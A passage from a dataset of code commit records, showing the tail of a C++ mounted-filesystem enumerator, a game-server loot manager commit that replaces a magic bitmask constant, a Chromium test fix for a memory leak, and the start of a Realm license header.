reasons I don't understand (maybe a hit at http:\/\/superuser.com\/questions\/733687\/give-regular-user-permission-to-access-physical-drive-on-windows)\n * this only works with admin privilges\n *\/\n HANDLE hHandle = ::CreateFileW (volumeName.c_str (), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n if (hHandle == INVALID_HANDLE_VALUE) {\n return {};\n }\n DWORD dwBytesReturned = 0;\n BOOL bResult = ::DeviceIoControl (hHandle, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, NULL, 0, &volumeDiskExtents, sizeof (volumeDiskExtents), &dwBytesReturned, NULL);\n ::CloseHandle (hHandle);\n if (not bResult) {\n return {};\n }\n }\n Set<DynamicDiskIDType> result;\n for (DWORD n = 0; n < volumeDiskExtents.NumberOfDiskExtents; ++n) {\n PDISK_EXTENT pDiskExtent = &volumeDiskExtents.Extents[n];\n result.Add (GetPhysNameForDriveNumber_ (pDiskExtent->DiskNumber));\n }\n return result;\n }\n\n Collection<MountedFilesystemType> GetMountedFilesystems_Windows_ ()\n {\n Collection<MountedFilesystemType> results{};\n TCHAR volumeNameBuf[1024];\n\n HANDLE hVol = INVALID_HANDLE_VALUE;\n auto&& cleanup = Execution::Finally ([&]() noexcept { if (hVol != INVALID_HANDLE_VALUE) { ::CloseHandle (hVol); } });\n\n for (HANDLE hVol = ::FindFirstVolume (volumeNameBuf, static_cast<DWORD> (NEltsOf (volumeNameBuf))); hVol != INVALID_HANDLE_VALUE;) {\n DWORD lpMaximumComponentLength;\n DWORD dwSysFlags;\n TCHAR fileSysNameBuf[1024];\n if (::GetVolumeInformation (volumeNameBuf, nullptr, static_cast<DWORD> (NEltsOf (volumeNameBuf)), nullptr, &lpMaximumComponentLength, &dwSysFlags, fileSysNameBuf, static_cast<DWORD> (NEltsOf (fileSysNameBuf)))) {\n MountedFilesystemType v;\n v.fFileSystemType = String::FromSDKString (fileSysNameBuf);\n v.fVolumeID = String::FromSDKString (volumeNameBuf);\n v.fDevicePaths = GetDisksForVolume_ (volumeNameBuf);\n\n \/\/\/\n TCHAR volPathsBuf[10 * 1024];\n DWORD retLen = 0;\n DWORD x = ::GetVolumePathNamesForVolumeName (volumeNameBuf, volPathsBuf, static_cast<DWORD> (NEltsOf (volPathsBuf)), &retLen);\n if (x == 0) {\n DbgTrace (SDKSTR (\"Ignoring error getting paths (volume='%s')\"), volumeNameBuf);\n }\n else if (volPathsBuf[0] == 0) {\n \/\/ Ignore - unmounted!\n DbgTrace (SDKSTR (\"Ignoring unmounted filesystem (volume='%s')\"), volumeNameBuf);\n }\n else {\n for (const TCHAR* NameIdx = volPathsBuf; NameIdx[0] != L'\\0'; NameIdx += Characters::CString::Length (NameIdx) + 1) {\n v.fMountedOn = String::FromSDKString (NameIdx);\n results.Add (v);\n }\n }\n }\n\n \/\/ find next\n if (not::FindNextVolume (hVol, volumeNameBuf, static_cast<DWORD> (NEltsOf (volumeNameBuf)))) {\n ::FindVolumeClose (hVol);\n hVol = INVALID_HANDLE_VALUE;\n }\n }\n return results;\n }\n}\n#endif\n\n\/*\n ********************************************************************************\n ******************** IO::FileSystem::MountedFilesystemType *********************\n ********************************************************************************\n *\/\nString MountedFilesystemType::ToString () const\n{\n StringBuilder sb;\n sb += L\"{\";\n sb += L\"Mounted-On: '\" + fMountedOn + L\"', \";\n if (fDevicePaths) {\n sb += L\"Device-Paths: \" + Characters::ToString (*fDevicePaths) + L\", \";\n }\n if (fFileSystemType) {\n sb += L\"FileSystem-Type: '\" + *fFileSystemType + L\"', \";\n }\n if (fVolumeID) {\n sb += L\"Volume-ID: '\" + *fVolumeID + L\"', \";\n }\n sb += L\"}\";\n return sb.str ();\n}\n\n\/*\n ********************************************************************************\n ******************** IO::FileSystem::GetMountedFilesystems *********************\n ********************************************************************************\n *\/\nContainers::Collection<MountedFilesystemType> IO::FileSystem::GetMountedFilesystems ()\n{\n#if qPlatform_Linux\n return ReadMountInfo_FromProcFSMounts_ ();\n#elif qPlatform_Windows\n return GetMountedFilesystems_Windows_ ();\n#else\n AssertNotImplemented ();\n return {};\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * LootManagerImplementation.cpp\n *\n * Created on: Jun 20, 2011\n * Author: Kyle\n *\/\n\n#include \"engine\/engine.h\"\n\n#include \"LootManager.h\"\n#include \"server\/zone\/objects\/scene\/SceneObject.h\"\n#include \"server\/zone\/objects\/creature\/CreatureObject.h\"\n#include \"server\/zone\/objects\/creature\/AiAgent.h\"\n#include \"server\/zone\/managers\/crafting\/CraftingManager.h\"\n#include \"server\/zone\/managers\/templates\/TemplateManager.h\"\n#include \"server\/zone\/templates\/LootItemTemplate.h\"\n#include \"server\/zone\/ZoneServer.h\"\n#include \"server\/zone\/managers\/stringid\/StringIdManager.h\"\n#include \"LootGroupMap.h\"\n\nvoid LootManagerImplementation::initialize() {\n\n\tlua = new Lua();\n\tlua->init();\n\n\tinfo(\"Loading configuration.\");\n\n\tif(!loadConfigData()) {\n\n\t\tloadDefaultConfig();\n\n\t\tinfo(\"***** ERROR in configuration, using default values\");\n\t}\n\n\tlootGroupMap = LootGroupMap::instance();\n\tlootGroupMap->initialize();\n\n\tinfo(\"Loaded \" + String::valueOf(lootGroupMap->getTotalItems()) + \" loot items.\", true);\n\tinfo(\"Loaded \" + String::valueOf(lootGroupMap->getTotalGroups()) + \" loot groups.\", true);\n\n\tinfo(\"Initialized.\");\n}\n\nbool LootManagerImplementation::loadConfigFile() {\n\treturn lua->runFile(\"scripts\/managers\/loot_manager.lua\");\n}\n\nbool LootManagerImplementation::loadConfigData() {\n\tif (!loadConfigFile())\n\t\treturn false;\n\n\texceptionalChance = lua->getGlobalFloat(\"exceptionalChance\");\n\texceptionalModifier = lua->getGlobalFloat(\"exceptionalModifier\");\n\tlegendaryChance = lua->getGlobalFloat(\"legendaryChance\");\n\tlegendaryModifier = lua->getGlobalFloat(\"legendaryModifier\");\n\n\tLuaObject lootableModsTable = lua->getGlobalObject(\"lootableStatMods\");\n\n\tif (!lootableModsTable.isValidTable())\n\t\treturn false;\n\n\tfor (int i = 1; i <= lootableModsTable.getTableSize(); ++i) {\n\t\tString mod = lootableModsTable.getStringAt(i);\n\t\tlootableMods.put(mod);\n\t}\n\n\tlootableModsTable.pop();\n\n\tinfo(\"Loaded \" + String::valueOf(lootableMods.size()) + \" lootable stat mods.\", true);\n\n\treturn true;\n}\n\nvoid LootManagerImplementation::loadDefaultConfig() {\n\n}\n\nvoid LootManagerImplementation::setInitialObjectStats(LootItemTemplate* templateObject, CraftingValues* craftingValues, TangibleObject* prototype) {\n\tSharedTangibleObjectTemplate* tanoTemplate = dynamic_cast<SharedTangibleObjectTemplate*>(prototype->getObjectTemplate());\n\n\tif (tanoTemplate != NULL) {\n\t\tVector<String>* props = tanoTemplate->getExperimentalSubGroupTitles();\n\t\tVector<int>* mins = tanoTemplate->getExperimentalMin();\n\t\tVector<int>* maxs = tanoTemplate->getExperimentalMax();\n\t\tVector<short>* prec = tanoTemplate->getExperimentalPrecision();\n\n\t\tfor (int i = 0; i < props->size(); ++i) {\n\t\t\tString property = props->get(i);\n\n\t\t\tif (craftingValues->hasProperty(property))\n\t\t\t\tcontinue;\n\n\t\t\tcraftingValues->addExperimentalProperty(property, property, mins->get(i), maxs->get(i), prec->get(i), false);\n\t\t}\n\t}\n\n\tVector<String>* customizationData = templateObject->getCustomizationStringNames();\n\tVector<Vector<int> >* customizationValues = templateObject->getCustomizationValues();\n\n\tfor (int i = 0; i < customizationData->size(); ++i) {\n\t\tString customizationString = customizationData->get(i);\n\t\tVector<int>* values = &customizationValues->get(i);\n\n\t\tint idx = customizationString.lastIndexOf(\"\/\");\n\n\t\tif (idx != -1)\n\t\t\tcustomizationString = customizationString.subString(idx + 1);\n\n\t\tif (values->size() > 0) {\n\t\t\tint randomValue = values->get(System::random(values->size() - 1));\n\n\t\t\tprototype->setCustomizationVariable(customizationString, randomValue, false);\n\t\t}\n\t}\n}\n\nvoid LootManagerImplementation::setCustomObjectName(TangibleObject* object, LootItemTemplate* templateObject) {\n\tString customName = templateObject->getCustomObjectName();\n\n\tif (!customName.isEmpty()) {\n\t\tif (customName.charAt(0) == '@') {\n\t\t\tStringId stringId(customName);\n\n\t\t\tobject->setObjectName(stringId);\n\t\t} else {\n\t\t\tobject->setCustomObjectName(customName, false);\n\t\t}\n\t}\n}\n\nint LootManagerImplementation::calculateLootCredits(int level) {\n\tint maxcredits = (int) round((.03f * level * level) + (3 * level) + 50);\n\tint mincredits = (int) round((((float) maxcredits) * .5f) + (2.0f * level));\n\n\tint credits = mincredits + System::random(maxcredits - mincredits);\n\n\treturn credits;\n}\n\nSceneObject* LootManagerImplementation::createLootObject(LootItemTemplate* templateObject, int level) {\n\tString directTemplateObject = templateObject->getDirectObjectTemplate();\n\n\tManagedReference<TangibleObject*> prototype = dynamic_cast<TangibleObject*> (zoneServer->createObject(directTemplateObject.hashCode(), 2));\n\n\tif (prototype == NULL)\n\t\treturn NULL;\n\n\tprototype->createChildObjects();\n\n\tCraftingValues craftingValues = templateObject->getCraftingValuesCopy();\n\n\tsetInitialObjectStats(templateObject, &craftingValues, prototype);\n\n\tsetCustomObjectName(prototype, templateObject);\n\n\tfloat excMod = 1.0;\n\n\tif (System::random(exceptionalChance) == exceptionalChance) {\n\t\tUnicodeString objectName = prototype->getCustomObjectName();\n\t\tuint32 bitmask = prototype->getOptionsBitmask() | 0x20;\n\n\t\tif (objectName.isEmpty())\n\t\t\tobjectName = StringIdManager::instance()->getStringId(prototype->getObjectName()->getFullPath().hashCode());\n\n\t\tUnicodeString newName = objectName + \" (Exceptional)\";\n\t\tprototype->setCustomObjectName(newName, false);\n\n\t\texcMod = exceptionalModifier;\n\n\t\tprototype->setOptionsBitmask(bitmask, false);\n\t} else if (System::random(legendaryChance) == legendaryChance) {\n\t\tUnicodeString objectName = prototype->getCustomObjectName();\n\t\tuint32 bitmask = prototype->getOptionsBitmask() | 0x20;\n\n\t\tif (objectName.isEmpty())\n\t\t\tobjectName = StringIdManager::instance()->getStringId(prototype->getObjectName()->getFullPath().hashCode());\n\n\t\tUnicodeString newName = objectName + \" (Legendary)\";\n\t\tprototype->setCustomObjectName(newName, false);\n\n\t\texcMod = legendaryModifier;\n\n\t\tprototype->setOptionsBitmask(bitmask, false);\n\t}\n\n\tString subtitle;\n\n\tfloat percentage = System::random(10000) \/ 10000.f; \/\/Generate a base percentage. We will deviate slightly from this on each stat.\n\n\tfor (int i = 0; i < craftingValues.getExperimentalPropertySubtitleSize(); ++i) {\n\t\tsubtitle = craftingValues.getExperimentalPropertySubtitle(i);\n\n\t\tif (subtitle == \"hitpoints\")\n\t\t\tcontinue;\n\n\t\tfloat min = craftingValues.getMinValue(subtitle);\n\t\tfloat max = craftingValues.getMaxValue(subtitle);\n\n\t\tfloat minMod = (max >= min) ? 2000.f : -2000.f;\n\t\tfloat maxMod = (max >= min) ? 500.f : -500.f;\n\n\t\tmin = (min * level \/ minMod) + min;\n\t\tmax = (max * level \/ maxMod) + max;\n\n\t\tif (max >= min) {\n\t\t\tmin *= excMod;\n\t\t\tmax *= excMod;\n\t\t} else {\n\t\t\tmin \/= excMod;\n\t\t\tmax \/= excMod;\n\t\t}\n\n\t\tcraftingValues.setMinValue(subtitle, min);\n\t\tcraftingValues.setMaxValue(subtitle, max);\n\n\t\tfloat deviation = (((float) System::random(400)) - 200) \/ 1000.f; \/\/Deviate up to 2%\n\n\t\tcraftingValues.setCurrentPercentage(subtitle, percentage + deviation);\n\t}\n\n\t\/\/ Use percentages to recalculate the values\n\tcraftingValues.recalculateValues(false);\n\n\tcraftingValues.addExperimentalProperty(\"creatureLevel\", \"creatureLevel\", level, level, 0, false);\n\n\t\/\/ Update the Tano with new values\n\tprototype->updateCraftingValues(&craftingValues, false);\n\n\treturn prototype;\n}\n\nvoid LootManagerImplementation::createLoot(SceneObject* container, AiAgent* creature) {\n\tLootGroupCollection* lootGroups = creature->getLootGroups();\n\tint lootChance = creature->getLootChance();\n\n\tif (lootGroups == NULL || lootChance <= 0)\n\t\treturn;\n\n\t\/\/First roll is on what loot group, if any, to use.\n\tint roll = System::random(10000000); \/\/100.00000% with 5 decimal precision\n\n\tif (roll > lootChance) {\n\t\t\/\/The creature isn't dropping loot because the roll was in the \"no drop\" zone of the percentage.\n\t\treturn;\n\t}\n\n\tint tempChance = 0; \/\/Start at 0.\n\n\t\/\/Now loop through the lootgroups to figure out which lootgroup to use.\n\tfor (int i = 0; i < lootGroups->size(); ++i) {\n\t\tLootGroupEntry entry = lootGroups->get(i);\n\n\t\ttempChance += entry.getWeight();\n\n\t\t\/\/Is this entry lower than the roll? If yes, then we want to try the next entry.\n\t\tif (tempChance < roll)\n\t\t\tcontinue;\n\n\t\tcreateLoot(container, entry.getItemTemplate(), creature->getLevel());\n\n\t\treturn; \/\/If we got here, then we found the entry we were looking for.\n\t}\n}\n\nvoid LootManagerImplementation::createLoot(SceneObject* container, const String& lootGroup, int level) {\n\tif (container->hasFullContainerObjects())\n\t\treturn;\n\n\tReference<LootGroup*> group = lootGroupMap->get(lootGroup);\n\n\tif (group == NULL)\n\t\treturn;\n\n\t\/\/Now we do the second roll for the item out of the group.\n\tint roll = System::random(10000000);\n\n\tint tempChance = 0;\n\n\tfor (int i = 0; i < group->size(); ++i) {\n\t\tif (container->hasFullContainerObjects())\n\t\t\treturn;\n\n\t\tLootGroupEntry entry = group->get(i);\n\n\t\ttempChance += entry.getWeight();\n\n\t\tif (tempChance < roll)\n\t\t\tcontinue; \/\/If the roll is greater than this item, move on to the next one.\n\n\t\tString item = entry.getItemTemplate();\n\n\t\tLootItemTemplate* itemTemplate = lootGroupMap->getLootItem(item);\n\n\t\tif (itemTemplate != NULL) {\n\t\t\t\/\/int minLevel = itemTemplate->getMinimumLevel();\n\t\t\t\/\/int maxLevel = itemTemplate->getMaximumLevel();\n\n\t\t\t\/\/if (level != -1) {\n\t\t\t\t\/\/if (minLevel != -1 && level < minLevel)\n\t\t\t\t\t\/\/continue;\n\n\t\t\t\t\/\/if (maxLevel != -1 && level > maxLevel)\n\t\t\t\t\t\/\/continue;\n\t\t\t\/\/}\n\n\t\t\tSceneObject* obj = createLootObject(itemTemplate, level);\n\n\t\t\tif (obj != NULL) {\n\t\t\t\tif (container->transferObject(obj, -1, false))\n\t\t\t\t\tcontainer->broadcastObject(obj, true);\n\t\t\t}\n\n\t\t} else {\n\t\t\terror(item + \" loot item template not found\");\n\t\t}\n\n\t\treturn;\n\t}\n}\n<commit_msg>[fixed] Using optionbitmask class for yellow name.<commit_after>\/*\n * LootManagerImplementation.cpp\n *\n * Created on: Jun 20, 2011\n * Author: Kyle\n *\/\n\n#include \"engine\/engine.h\"\n\n#include \"LootManager.h\"\n#include \"server\/zone\/objects\/scene\/SceneObject.h\"\n#include \"server\/zone\/objects\/creature\/CreatureObject.h\"\n#include \"server\/zone\/objects\/creature\/AiAgent.h\"\n#include \"server\/zone\/managers\/crafting\/CraftingManager.h\"\n#include \"server\/zone\/managers\/templates\/TemplateManager.h\"\n#include \"server\/zone\/templates\/LootItemTemplate.h\"\n#include \"server\/zone\/ZoneServer.h\"\n#include \"server\/zone\/managers\/stringid\/StringIdManager.h\"\n#include \"LootGroupMap.h\"\n\nvoid LootManagerImplementation::initialize() {\n\n\tlua = new Lua();\n\tlua->init();\n\n\tinfo(\"Loading configuration.\");\n\n\tif(!loadConfigData()) {\n\n\t\tloadDefaultConfig();\n\n\t\tinfo(\"***** ERROR in configuration, using default values\");\n\t}\n\n\tlootGroupMap = LootGroupMap::instance();\n\tlootGroupMap->initialize();\n\n\tinfo(\"Loaded \" + String::valueOf(lootGroupMap->getTotalItems()) + \" loot items.\", true);\n\tinfo(\"Loaded \" + String::valueOf(lootGroupMap->getTotalGroups()) + \" loot groups.\", true);\n\n\tinfo(\"Initialized.\");\n}\n\nbool LootManagerImplementation::loadConfigFile() {\n\treturn lua->runFile(\"scripts\/managers\/loot_manager.lua\");\n}\n\nbool LootManagerImplementation::loadConfigData() {\n\tif (!loadConfigFile())\n\t\treturn false;\n\n\texceptionalChance = lua->getGlobalFloat(\"exceptionalChance\");\n\texceptionalModifier = lua->getGlobalFloat(\"exceptionalModifier\");\n\tlegendaryChance = lua->getGlobalFloat(\"legendaryChance\");\n\tlegendaryModifier = lua->getGlobalFloat(\"legendaryModifier\");\n\n\tLuaObject lootableModsTable = lua->getGlobalObject(\"lootableStatMods\");\n\n\tif (!lootableModsTable.isValidTable())\n\t\treturn false;\n\n\tfor (int i = 1; i <= lootableModsTable.getTableSize(); ++i) {\n\t\tString mod = lootableModsTable.getStringAt(i);\n\t\tlootableMods.put(mod);\n\t}\n\n\tlootableModsTable.pop();\n\n\tinfo(\"Loaded \" + String::valueOf(lootableMods.size()) + \" lootable stat mods.\", true);\n\n\treturn true;\n}\n\nvoid LootManagerImplementation::loadDefaultConfig() {\n\n}\n\nvoid LootManagerImplementation::setInitialObjectStats(LootItemTemplate* templateObject, CraftingValues* craftingValues, TangibleObject* prototype) {\n\tSharedTangibleObjectTemplate* tanoTemplate = dynamic_cast<SharedTangibleObjectTemplate*>(prototype->getObjectTemplate());\n\n\tif (tanoTemplate != NULL) {\n\t\tVector<String>* props = tanoTemplate->getExperimentalSubGroupTitles();\n\t\tVector<int>* mins = tanoTemplate->getExperimentalMin();\n\t\tVector<int>* maxs = tanoTemplate->getExperimentalMax();\n\t\tVector<short>* prec = tanoTemplate->getExperimentalPrecision();\n\n\t\tfor (int i = 0; i < props->size(); ++i) {\n\t\t\tString property = props->get(i);\n\n\t\t\tif (craftingValues->hasProperty(property))\n\t\t\t\tcontinue;\n\n\t\t\tcraftingValues->addExperimentalProperty(property, property, mins->get(i), maxs->get(i), prec->get(i), false);\n\t\t}\n\t}\n\n\tVector<String>* customizationData = templateObject->getCustomizationStringNames();\n\tVector<Vector<int> >* customizationValues = templateObject->getCustomizationValues();\n\n\tfor (int i = 0; i < customizationData->size(); ++i) {\n\t\tString customizationString = customizationData->get(i);\n\t\tVector<int>* values = &customizationValues->get(i);\n\n\t\tint idx = customizationString.lastIndexOf(\"\/\");\n\n\t\tif (idx != -1)\n\t\t\tcustomizationString = customizationString.subString(idx + 1);\n\n\t\tif (values->size() > 0) {\n\t\t\tint randomValue = values->get(System::random(values->size() - 1));\n\n\t\t\tprototype->setCustomizationVariable(customizationString, randomValue, false);\n\t\t}\n\t}\n}\n\nvoid LootManagerImplementation::setCustomObjectName(TangibleObject* object, LootItemTemplate* templateObject) {\n\tString customName = templateObject->getCustomObjectName();\n\n\tif (!customName.isEmpty()) {\n\t\tif (customName.charAt(0) == '@') {\n\t\t\tStringId stringId(customName);\n\n\t\t\tobject->setObjectName(stringId);\n\t\t} else {\n\t\t\tobject->setCustomObjectName(customName, false);\n\t\t}\n\t}\n}\n\nint LootManagerImplementation::calculateLootCredits(int level) {\n\tint maxcredits = (int) round((.03f * level * level) + (3 * level) + 50);\n\tint mincredits = (int) round((((float) maxcredits) * .5f) + (2.0f * level));\n\n\tint credits = mincredits + System::random(maxcredits - mincredits);\n\n\treturn credits;\n}\n\nSceneObject* LootManagerImplementation::createLootObject(LootItemTemplate* templateObject, int level) {\n\tString directTemplateObject = templateObject->getDirectObjectTemplate();\n\n\tManagedReference<TangibleObject*> prototype = dynamic_cast<TangibleObject*> (zoneServer->createObject(directTemplateObject.hashCode(), 2));\n\n\tif (prototype == NULL)\n\t\treturn NULL;\n\n\tprototype->createChildObjects();\n\n\tCraftingValues craftingValues = templateObject->getCraftingValuesCopy();\n\n\tsetInitialObjectStats(templateObject, &craftingValues, prototype);\n\n\tsetCustomObjectName(prototype, templateObject);\n\n\tfloat excMod = 1.0;\n\n\tif (System::random(exceptionalChance) == exceptionalChance) {\n\t\tUnicodeString objectName = prototype->getCustomObjectName();\n\t\tuint32 bitmask = prototype->getOptionsBitmask() | OptionBitmask::YELLOW;\n\n\t\tif (objectName.isEmpty())\n\t\t\tobjectName = StringIdManager::instance()->getStringId(prototype->getObjectName()->getFullPath().hashCode());\n\n\t\tUnicodeString newName = objectName + \" (Exceptional)\";\n\t\tprototype->setCustomObjectName(newName, false);\n\n\t\texcMod = exceptionalModifier;\n\n\t\tprototype->setOptionsBitmask(bitmask, false);\n\t} else if (System::random(legendaryChance) == legendaryChance) {\n\t\tUnicodeString objectName = prototype->getCustomObjectName();\n\t\tuint32 bitmask = prototype->getOptionsBitmask() | OptionBitmask::YELLOW;\n\n\t\tif (objectName.isEmpty())\n\t\t\tobjectName = StringIdManager::instance()->getStringId(prototype->getObjectName()->getFullPath().hashCode());\n\n\t\tUnicodeString newName = objectName + \" (Legendary)\";\n\t\tprototype->setCustomObjectName(newName, false);\n\n\t\texcMod = legendaryModifier;\n\n\t\tprototype->setOptionsBitmask(bitmask, false);\n\t}\n\n\tString subtitle;\n\n\tfloat percentage = System::random(10000) \/ 10000.f; \/\/Generate a base percentage. We will deviate slightly from this on each stat.\n\n\tfor (int i = 0; i < craftingValues.getExperimentalPropertySubtitleSize(); ++i) {\n\t\tsubtitle = craftingValues.getExperimentalPropertySubtitle(i);\n\n\t\tif (subtitle == \"hitpoints\")\n\t\t\tcontinue;\n\n\t\tfloat min = craftingValues.getMinValue(subtitle);\n\t\tfloat max = craftingValues.getMaxValue(subtitle);\n\n\t\tfloat minMod = (max >= min) ? 2000.f : -2000.f;\n\t\tfloat maxMod = (max >= min) ? 500.f : -500.f;\n\n\t\tmin = (min * level \/ minMod) + min;\n\t\tmax = (max * level \/ maxMod) + max;\n\n\t\tif (max >= min) {\n\t\t\tmin *= excMod;\n\t\t\tmax *= excMod;\n\t\t} else {\n\t\t\tmin \/= excMod;\n\t\t\tmax \/= excMod;\n\t\t}\n\n\t\tcraftingValues.setMinValue(subtitle, min);\n\t\tcraftingValues.setMaxValue(subtitle, max);\n\n\t\tfloat deviation = (((float) System::random(400)) - 200) \/ 1000.f; \/\/Deviate up to 2%\n\n\t\tcraftingValues.setCurrentPercentage(subtitle, percentage + deviation);\n\t}\n\n\t\/\/ Use percentages to recalculate the values\n\tcraftingValues.recalculateValues(false);\n\n\tcraftingValues.addExperimentalProperty(\"creatureLevel\", \"creatureLevel\", level, level, 0, false);\n\n\t\/\/ Update the Tano with new values\n\tprototype->updateCraftingValues(&craftingValues, false);\n\n\treturn prototype;\n}\n\nvoid LootManagerImplementation::createLoot(SceneObject* container, AiAgent* creature) {\n\tLootGroupCollection* lootGroups = creature->getLootGroups();\n\tint lootChance = creature->getLootChance();\n\n\tif (lootGroups == NULL || lootChance <= 0)\n\t\treturn;\n\n\t\/\/First roll is on what loot group, if any, to use.\n\tint roll = System::random(10000000); \/\/100.00000% with 5 decimal precision\n\n\tif (roll > lootChance) {\n\t\t\/\/The creature isn't dropping loot because the roll was in the \"no drop\" zone of the percentage.\n\t\treturn;\n\t}\n\n\tint tempChance = 0; \/\/Start at 0.\n\n\t\/\/Now loop through the lootgroups to figure out which lootgroup to use.\n\tfor (int i = 0; i < lootGroups->size(); ++i) {\n\t\tLootGroupEntry entry = lootGroups->get(i);\n\n\t\ttempChance += entry.getWeight();\n\n\t\t\/\/Is this entry lower than the roll? If yes, then we want to try the next entry.\n\t\tif (tempChance < roll)\n\t\t\tcontinue;\n\n\t\tcreateLoot(container, entry.getItemTemplate(), creature->getLevel());\n\n\t\treturn; \/\/If we got here, then we found the entry we were looking for.\n\t}\n}\n\nvoid LootManagerImplementation::createLoot(SceneObject* container, const String& lootGroup, int level) {\n\tif (container->hasFullContainerObjects())\n\t\treturn;\n\n\tReference<LootGroup*> group = lootGroupMap->get(lootGroup);\n\n\tif (group == NULL)\n\t\treturn;\n\n\t\/\/Now we do the second roll for the item out of the group.\n\tint roll = System::random(10000000);\n\n\tint tempChance = 0;\n\n\tfor (int i = 0; i < group->size(); ++i) {\n\t\tif (container->hasFullContainerObjects())\n\t\t\treturn;\n\n\t\tLootGroupEntry entry = group->get(i);\n\n\t\ttempChance += entry.getWeight();\n\n\t\tif (tempChance < roll)\n\t\t\tcontinue; \/\/If the roll is greater than this item, move on to the next one.\n\n\t\tString item = entry.getItemTemplate();\n\n\t\tLootItemTemplate* itemTemplate = lootGroupMap->getLootItem(item);\n\n\t\tif (itemTemplate != NULL) {\n\t\t\t\/\/int minLevel = itemTemplate->getMinimumLevel();\n\t\t\t\/\/int maxLevel = itemTemplate->getMaximumLevel();\n\n\t\t\t\/\/if (level != -1) {\n\t\t\t\t\/\/if (minLevel != -1 && level < minLevel)\n\t\t\t\t\t\/\/continue;\n\n\t\t\t\t\/\/if (maxLevel != -1 && level > maxLevel)\n\t\t\t\t\t\/\/continue;\n\t\t\t\/\/}\n\n\t\t\tSceneObject* obj = createLootObject(itemTemplate, level);\n\n\t\t\tif (obj != NULL) {\n\t\t\t\tif (container->transferObject(obj, -1, false))\n\t\t\t\t\tcontainer->broadcastObject(obj, true);\n\t\t\t}\n\n\t\t} else {\n\t\t\terror(item + \" loot item template not found\");\n\t\t}\n\n\t\treturn;\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/api\/notification_provider\/notification_provider_api.h\"\n#include \"chrome\/browser\/extensions\/chrome_extension_function.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/common\/extensions\/api\/notification_provider.h\"\n\ntypedef ExtensionApiTest NotificationProviderApiTest;\n\nIN_PROC_BROWSER_TEST_F(NotificationProviderApiTest, Events) {\n std::string sender_id1 = \"SenderId1\";\n std::string notification_id1 = \"NotificationId1\";\n\n extensions::api::notifications::NotificationOptions options;\n options.type = extensions::api::notifications::ParseTemplateType(\"basic\");\n options.icon_url = scoped_ptr<std::string>(new std::string(\"icon.png\"));\n options.title = scoped_ptr<std::string>(new std::string(\"Title\"));\n options.message =\n scoped_ptr<std::string>(new std::string(\"Here goes the message\"));\n\n ResultCatcher catcher;\n catcher.RestrictToProfile(browser()->profile());\n\n \/\/ Test notification provider extension\n const extensions::Extension* extension =\n LoadExtension(test_data_dir_.AppendASCII(\"notification_provider\/events\"));\n ASSERT_TRUE(extension);\n\n extensions::NotificationProviderEventRouter* event_router =\n new extensions::NotificationProviderEventRouter(browser()->profile());\n\n event_router->CreateNotification(\n extension->id(), sender_id1, notification_id1, options);\n event_router->UpdateNotification(\n extension->id(), sender_id1, notification_id1, options);\n event_router->ClearNotification(\n extension->id(), sender_id1, notification_id1);\n\n EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<commit_msg>Fix memory leak in NotificationProviderApiTest.Events.<commit_after>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"chrome\/browser\/extensions\/api\/notification_provider\/notification_provider_api.h\"\n#include \"chrome\/browser\/extensions\/chrome_extension_function.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/common\/extensions\/api\/notification_provider.h\"\n\ntypedef ExtensionApiTest NotificationProviderApiTest;\n\nIN_PROC_BROWSER_TEST_F(NotificationProviderApiTest, Events) {\n std::string sender_id1 = \"SenderId1\";\n std::string notification_id1 = \"NotificationId1\";\n\n extensions::api::notifications::NotificationOptions options;\n options.type = extensions::api::notifications::ParseTemplateType(\"basic\");\n options.icon_url = scoped_ptr<std::string>(new std::string(\"icon.png\"));\n options.title = scoped_ptr<std::string>(new std::string(\"Title\"));\n options.message =\n scoped_ptr<std::string>(new std::string(\"Here goes the message\"));\n\n ResultCatcher catcher;\n catcher.RestrictToProfile(browser()->profile());\n\n \/\/ Test notification provider extension\n const extensions::Extension* extension =\n LoadExtension(test_data_dir_.AppendASCII(\"notification_provider\/events\"));\n ASSERT_TRUE(extension);\n\n scoped_ptr<extensions::NotificationProviderEventRouter> event_router(\n new extensions::NotificationProviderEventRouter(browser()->profile()));\n\n event_router->CreateNotification(\n extension->id(), sender_id1, notification_id1, options);\n event_router->UpdateNotification(\n extension->id(), sender_id1, notification_id1, options);\n event_router->ClearNotification(\n extension->id(), sender_id1, notification_id1);\n\n EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2016 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the 